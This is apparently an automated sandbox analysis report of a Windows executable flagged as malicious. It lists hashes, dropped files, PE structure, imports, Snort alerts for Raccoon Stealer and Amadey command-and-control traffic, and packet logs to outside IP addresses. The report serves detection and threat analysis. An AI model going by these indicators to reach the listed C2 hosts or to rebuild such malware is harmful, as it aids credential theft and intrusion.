SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\irjbuft Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	344064
Entropy (8bit):	5.99188338211275
Encrypted:	false
SSDEEP:	6144:O0kWD+3Pz81AwPC4BVZ2LGuSoGZkk4mAzaV/:JZD+/CO4ULGuShkk4m1V/
MD5:	3B947ED5AABDD775B1AFC31A5C4D39A0
SHA1:	552AA072522F22A003CADD3BCAD5E4EB981A5CBB
SHA-256:	8245AD87EEA6A1F19F658ADEF8A30B9A512760D866B7075BBF205D7A54296234
SHA-512:	AE62F33E3B0DAE89BBD33481B50E6BA53F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CA688F63C2C335BD262B0722B4461D29AB54357C226
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...6.`......................p.....@.............@...........................t.....1...........................................P....Ps..?....................s.<...0...................................@............................................text.............................. ..`.data....io.........................@....lufulac.....@s.....................@....rsrc....?...Ps..@..................@..@.reloc..."....s..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\irjbuft:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.99188338211275
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	25Kf6vSBoq.exe
File size:	344064
MD5:	3b947ed5aabdd775b1afc31a5c4d39a0
SHA1:	552aa072522f22a003cadd3bcad5e4eb981a5cbb
SHA256:	8245ad87eea6a1f19f658adef8a30b9a512760d866b7075bbf205d7a54296234
SHA512:	ae62f33e3b0dae89bbd33481b50e6ba53f31ad8699d1570c8b03d73c2045e870cba25a06cc3dcea07d784ca688f63c2c335bd262b0722b4461d29ab54357c226
SSDEEP:	6144:O0kWD+3Pz81AwPC4BVZ2LGuSoGZkk4mAzaV/:JZD+/CO4ULGuShkk4m1V/
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...6..`...................

File Icon


Icon Hash:	aecaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x41c340
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x608ECA36 [Sun May 2 15:50:14 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	5243e0b7a8cb0f582099146f832c26e4

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F91648FA01Bh
call 00007F91648F33F6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043BB60h
push 00426000h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043D1D4h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401074h]
cmp dword ptr [02B329A0h], 00000000h
jne 00007F91648F33F0h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401100h]
call 00007F91648F3573h
mov dword ptr [ebp-6Ch], eax
call 00007F91648FCFDBh
test eax, eax
jne 00007F91648F33ECh
push 0000001Ch
call 00007F91648F3530h
add esp, 04h
call 00007F91648F87B8h
test eax, eax
jne 00007F91648F33ECh
push 00000010h
call 00007F91648F351Dh
add esp, 04h
push 00000001h
call 00007F91648FCF83h
add esp, 04h
call 00007F91648FAD9Bh
mov dword ptr [ebp-04h], 00000000h
call 00007F91648FA97Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c194	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2735000	0x3fa8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2739000	0x1b3c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1b808	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3bcd0	0x3be00	False	0.597431987213	data	6.99265157433	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3d000	0x26f69a4	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.lufulac	0x2734000	0x2e5	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2735000	0x3fa8	0x4000	False	0.735473632812	data	6.34309337109	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2739000	0x1221c	0x12400	False	0.0807871361301	data	1.04253420355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x2738ae0	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x2735340	0x25a8	data	Spanish	Paraguay
RT_ICON	0x27378e8	0x10a8	data	Spanish	Paraguay
RT_STRING	0x2738d58	0x96	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2738df0	0x1b6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2738a20	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x27389b8	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x2738c10	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2738990	0x22	data	Spanish	Paraguay
RT_VERSION	0x2738c28	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2738ac0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2738ad0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2738ab0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	GetConsoleAliasesLengthW, TlsGetValue, GetCPInfo, HeapAlloc, InterlockedIncrement, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, QueryDosDeviceA, GetNamedPipeHandleStateA, SetHandleInformation, UnlockFile, FindFirstFileExW, BackupSeek, FreeEnvironmentStringsA, GetModuleHandleW, IsBadReadPtr, GetConsoleAliasesLengthA, GetDriveTypeA, ActivateActCtx, GetPrivateProfileIntA, SetFileShortNameW, ReadConsoleInputA, GetSystemWow64DirectoryW, GetVersionExW, SetDllDirectoryA, IsDBCSLeadByte, GetSystemDirectoryA, CreateActCtxA, CompareStringW, GetStartupInfoW, VerifyVersionInfoW, GetLastError, GetLongPathNameW, SetLastError, GetProcAddress, FindVolumeMountPointClose, GlobalGetAtomNameA, FindClose, GetPrivateProfileStringA, OpenWaitableTimerA, LocalAlloc, WriteProfileSectionW, SetSystemTime, GetModuleFileNameA, SetConsoleCursorInfo, GetModuleHandleA, FindFirstChangeNotificationA, GetProcessShutdownParameters, FreeEnvironmentStringsW, BuildCommDCBA, GetCurrentDirectoryA, TlsAlloc, GetWindowsDirectoryW, GetProfileSectionW, AreFileApisANSI, DeleteFileA, LocalFileTimeToFileTime, CloseHandle, CreateFileW, SetStdHandle, GetConsoleMode, GetConsoleCP, MoveFileA, GetCommandLineW, HeapSetInformation, InterlockedDecrement, DecodePointer, ExitProcess, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, GetModuleFileNameW, WriteFile, GetStdHandle, IsProcessorFeaturePresent, GetACP, GetOEMCP, IsValidCodePage, TlsSetValue, GetCurrentThreadId, TlsFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, HeapValidate, HeapCreate, EnterCriticalSection, LeaveCriticalSection, LoadLibraryW, RtlUnwind, RaiseException, GetStringTypeW, MultiByteToWideChar, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, WideCharToMultiByte, LCMapStringW, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, SetFilePointer, FlushFileBuffers
USER32.dll	GetMenuInfo, GetMessagePos
WINHTTP.dll	WinHttpReadData

Version Infos

Description	Data
Translations	0x0512 0x00ac

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
10/29/21-20:30:35.457420	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49812	80	192.168.2.7	91.219.236.97
10/29/21-20:30:40.016951	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.7	185.215.113.45
10/29/21-20:30:46.932390	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49812	80	192.168.2.7	91.219.236.97
10/29/21-20:32:34.929005	ICMP	399	ICMP Destination Unreachable Host Unreachable			192.168.255.2	192.168.2.7
10/29/21-20:32:34.929028	ICMP	399	ICMP Destination Unreachable Host Unreachable			192.168.255.2	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 20:29:20.890466928 CEST	49747	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:20.943439960 CEST	80	49747	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:20.944004059 CEST	49747	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:20.944181919 CEST	49747	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:20.944200039 CEST	49747	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:20.996998072 CEST	80	49747	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.022907019 CEST	80	49747	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.023206949 CEST	49747	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.025151014 CEST	49747	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.056564093 CEST	49748	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.077682972 CEST	80	49747	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.109009981 CEST	80	49748	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.109253883 CEST	49748	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.109474897 CEST	49748	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.109504938 CEST	49748	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.161972046 CEST	80	49748	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.187556982 CEST	80	49748	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.187690020 CEST	49748	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.187942982 CEST	49748	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.220020056 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.240024090 CEST	80	49748	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.273682117 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.273789883 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.273890018 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.369220972 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423413038 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423449039 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423465967 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423481941 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423501015 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423532009 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423538923 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423543930 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423558950 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.423562050 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423579931 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.423639059 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.423669100 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.477245092 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477257967 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477293968 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477319956 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477344036 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477366924 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477390051 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477412939 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477437019 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477459908 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477483034 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477505922 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477530956 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477529049 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.477555037 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477581024 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477605104 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477627993 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477638960 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.477649927 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477674007 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477684021 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.477696896 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.477719069 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.477750063 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531364918 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531394958 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531413078 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531429052 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531445980 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531461954 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531478882 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531495094 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531511068 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531527996 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531544924 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531549931 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531560898 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531579018 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531596899 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531614065 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531630039 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531636953 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531646967 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531665087 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531681061 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531697035 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531707048 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531754971 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531773090 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531776905 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531790018 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531805992 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.531846046 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531898022 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.531934023 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561669111 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561696053 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561712980 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561732054 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561839104 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561856985 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561863899 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.561875105 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.561891079 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562041998 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.562087059 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562105894 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562123060 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562138081 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562150955 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562196970 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.562211037 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.585194111 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585220098 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585236073 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585253954 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585273027 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585292101 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585309982 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585326910 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585402012 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.585515976 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.585602999 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.608546972 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608576059 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608591080 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608608961 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608670950 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608688116 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608711004 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.608726978 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608746052 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608756065 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.608764887 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608783960 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608830929 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.608865976 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.608977079 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.608997107 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609014034 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609030008 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609060049 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609081030 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.609184027 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.609199047 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609216928 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609234095 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609250069 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609266043 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609319925 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.609330893 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.609349966 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609366894 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609376907 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.609383106 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.609406948 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.649600029 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655220032 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655241013 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655256987 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655275106 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655292034 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655308008 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655324936 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655342102 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655359030 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655375004 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655375004 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655424118 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655441999 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655446053 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655459881 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655477047 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655493975 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655499935 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655513048 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655529976 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655538082 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655546904 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655572891 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655596018 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655641079 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655678988 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655700922 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655721903 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655721903 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655762911 CEST	80	49749	185.98.87.159	192.168.2.7
